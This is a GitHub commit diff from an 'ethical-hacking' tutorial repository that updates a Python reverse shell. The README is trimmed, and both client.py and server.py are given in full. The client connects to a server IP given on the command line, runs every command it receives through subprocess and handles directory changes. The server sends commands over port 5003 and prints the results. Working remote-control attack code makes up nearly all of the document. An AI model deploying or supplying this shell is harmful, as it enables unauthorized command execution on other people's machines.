Skip to content

Commit 272e14b

Browse files
committed
update reverse shell tutorial code
1 parent 28e02a1 commit 272e14b

File tree

3 files changed

+41
-35
lines changed

3 files changed

+41
-35
lines changed

Diff for: ethical-hacking/reverse_shell/README.md

+1-19
Original file line numberDiff line numberDiff line change
@@ -12,22 +12,4 @@ You don't need to install anything.
1212
```
1313
python client.py 192.168.1.104
1414
```
15-
**Output:**
16-
```
17-
Server: Hello and Welcome
18-
```
19-
- The server will get notified once a client is connected, executing `dir` command on Windows remotely (in `server.py`):
20-
```
21-
192.168.1.103:58428 Connected!
22-
Enter the command you wanna execute:dir
23-
Volume in drive E is DATA
24-
Volume Serial Number is 644B-A12C
25-
26-
Directory of E:\test
27-
28-
09/24/2019 02:15 PM <DIR> .
29-
09/24/2019 02:15 PM <DIR> ..
30-
0 File(s) 0 bytes
31-
2 Dir(s) 89,655,123,968 bytes free
32-
Enter the command you wanna execute:exit
33-
```
15+
- The server will get notified once a client is connected.

Diff for: ethical-hacking/reverse_shell/client.py

+25-8
Original file line numberDiff line numberDiff line change
@@ -1,29 +1,46 @@
11
import socket
2+
import os
23
import subprocess
34
import sys
45

56
SERVER_HOST = sys.argv[1]
67
SERVER_PORT = 5003
7-
BUFFER_SIZE = 1024
8+
BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase
9+
# separator string for sending 2 messages in one go
10+
SEPARATOR = "<sep>"
811

912
# create the socket object
1013
s = socket.socket()
1114
# connect to the server
1215
s.connect((SERVER_HOST, SERVER_PORT))
13-
14-
# receive the greeting message
15-
message = s.recv(BUFFER_SIZE).decode()
16-
print("Server:", message)
16+
# get the current directory
17+
cwd = os.getcwd()
18+
s.send(cwd.encode())
1719

1820
while True:
1921
# receive the command from the server
2022
command = s.recv(BUFFER_SIZE).decode()
23+
splited_command = command.split()
2124
if command.lower() == "exit":
2225
# if the command is exit, just break out of the loop
2326
break
24-
# execute the command and retrieve the results
25-
output = subprocess.getoutput(command)
27+
if splited_command[0].lower() == "cd":
28+
# cd command, change directory
29+
try:
30+
os.chdir(' '.join(splited_command[1:]))
31+
except FileNotFoundError as e:
32+
# if there is an error, set as the output
33+
output = str(e)
34+
else:
35+
# if operation is successful, empty message
36+
output = ""
37+
else:
38+
# execute the command and retrieve the results
39+
output = subprocess.getoutput(command)
40+
# get the current working directory as output
41+
cwd = os.getcwd()
2642
# send the results back to the server
27-
s.send(output.encode())
43+
message = f"{output}{SEPARATOR}{cwd}"
44+
s.send(message.encode())
2845
# close client connection
2946
s.close()

Diff for: ethical-hacking/reverse_shell/server.py

+15-8
Original file line numberDiff line numberDiff line change
@@ -2,8 +2,9 @@
22

33
SERVER_HOST = "0.0.0.0"
44
SERVER_PORT = 5003
5-
6-
BUFFER_SIZE = 1024
5+
BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase
6+
# separator string for sending 2 messages in one go
7+
SEPARATOR = "<sep>"
78

89
# create a socket object
910
s = socket.socket()
@@ -20,21 +21,27 @@
2021
client_socket, client_address = s.accept()
2122
print(f"{client_address[0]}:{client_address[1]} Connected!")
2223

23-
# just sending a message, for demonstration purposes
24-
message = "Hello and Welcome".encode()
25-
client_socket.send(message)
24+
# receiving the current working directory of the client
25+
cwd = client_socket.recv(BUFFER_SIZE).decode()
26+
print("[+] Current working directory:", cwd)
2627

2728
while True:
2829
# get the command from prompt
29-
command = input("Enter the command you wanna execute:")
30+
command = input(f"{cwd} $> ")
31+
if not command.strip():
32+
# empty command
33+
continue
3034
# send the command to the client
3135
client_socket.send(command.encode())
3236
if command.lower() == "exit":
3337
# if the command is exit, just break out of the loop
3438
break
3539
# retrieve command results
36-
results = client_socket.recv(BUFFER_SIZE).decode()
37-
# print them
40+
output = client_socket.recv(BUFFER_SIZE).decode()
41+
print("output:", output)
42+
# split command output and current directory
43+
results, cwd = output.split(SEPARATOR)
44+
# print output
3845
print(results)
3946
# close connection to the client
4047
client_socket.close()

0 commit comments

Comments
 (0)